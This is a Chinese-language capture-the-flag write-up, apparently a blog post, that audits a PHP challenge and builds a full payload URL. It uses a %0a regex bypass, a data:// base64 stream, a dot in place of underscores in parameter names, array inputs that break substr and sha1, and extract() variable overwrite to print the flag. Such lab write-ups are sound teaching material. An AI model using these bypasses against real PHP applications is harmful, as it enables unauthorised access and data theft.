简单的套娃

套娃

最简单的那种套娃

<?php 
include 'flag.php';
highlight_file(__FILE__); 
error_reporting(0); 

$ia = "index.php"; 
$query = $_SERVER['QUERY_STRING'];
//var_dump($_GET);
if (preg_match('/^xxxxisfun$/', $_GET['xxxx']) && $_GET['xxxx'] !== 'xxxxisfun') {
  $ia = $_GET["id"];
}


if(file_get_contents($ia)!=='xxxxisfun') { 
  die('go away'); 
} 

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
  die('no!');
}
if($_GET['x_x_x_x'] !== '666' && preg_match('/^666$/', $_GET['x_x_x_x'])){
  echo "let's go";

if($_GET)
$tql = $_GET['tql']; 
$action=''; 
if(substr($_GET['tql'], 32) === sha1($_GET['tql'])) { 
  extract($_GET["flag"]); 
} 

if($action === 'givemeflag'){
  echo $flag;
}
}
else
{
  echo 'nonono';
}

?> 


preg_match 执行匹配正则表达式

file_get_contents() 函数把整个文件读入一个字符串中

if (preg_match('/^xxxxisfun$/', $_GET['xxxx']) && $_GET['xxxx'] !== 'xxxxisfun') {
  $ia = $_GET["id"];
}


if(file_get_contents($ia)!=='xxxxisfun') { 
  die('go away'); 
} 

进行审计,这里有两个条件

  • 第一个就是xxxx===xxxxisfun,很简单,这里的正则表达式检查第一个和最后一个字符,可以用/的URL编码%0a绕过

  • 第二个是通过file_get_content函数将整个数据读入一个字符串中,但是后面的值使用的单引号,并且中间使用===来判断全等,通过查找这里可以使用data:// 来进行转换 格式为data://text/plain;base64,将xxxxisfun进行base64编码得到eHh4eGlzZnVu,所以需要通过get提交一个名为id的参数,值为data://text/plain;base64,eHh4eGlzZnVu
    xxxx=xxxxisfun%0a&id=data://text/plain;base64,eHh4eGlzZnVu


if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
  die('no!');
}
if($_GET['x_x_x_x'] !== '666' && preg_match('/^666$/', $_GET['x_x_x_x'])){
  echo "let's go";

这里的意思是x_x_x_x===666但是不能有_和他的URL编码

这里利用正则匹配绕过一下,‘.’匹配任意任意一个字符

在这里插入图片描述

构造x.x.x.x=666

if($_GET)
$tql = $_GET['tql']; 
$action=''; 
if(substr($_GET['tql'], 32) === sha1($_GET['tql'])) { 
  extract($_GET["flag"]); 
} 

if($action === 'givemeflag'){
  echo $flag;
}

这里是一个变量覆盖

  • tql[]是为了绕过substr函数的限制,subster不能处理数组,所以会把返回值为空,sha1函数也是,空===空,所以继续进行。
  • extract函数从数组中将变量导入当前页面,用get传入一个flag[action]=givemeflag,到extract里就是extract(flag[action]=givemeflag),这时flag就是个数组,生成了一个名为action,值为givemeflag的变量,将原来的$action=‘’给覆盖了

playload:tql[]=&flag[action]=givemeflag

总playload:

http://49.234.5.69:30001/?xxxx=xxxxisfun%0a&id=data://text/plain;base64,eHh4eGlzZnVu&x.x.x.x=666%0a&tql[]=&flag[action]=givemeflag
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值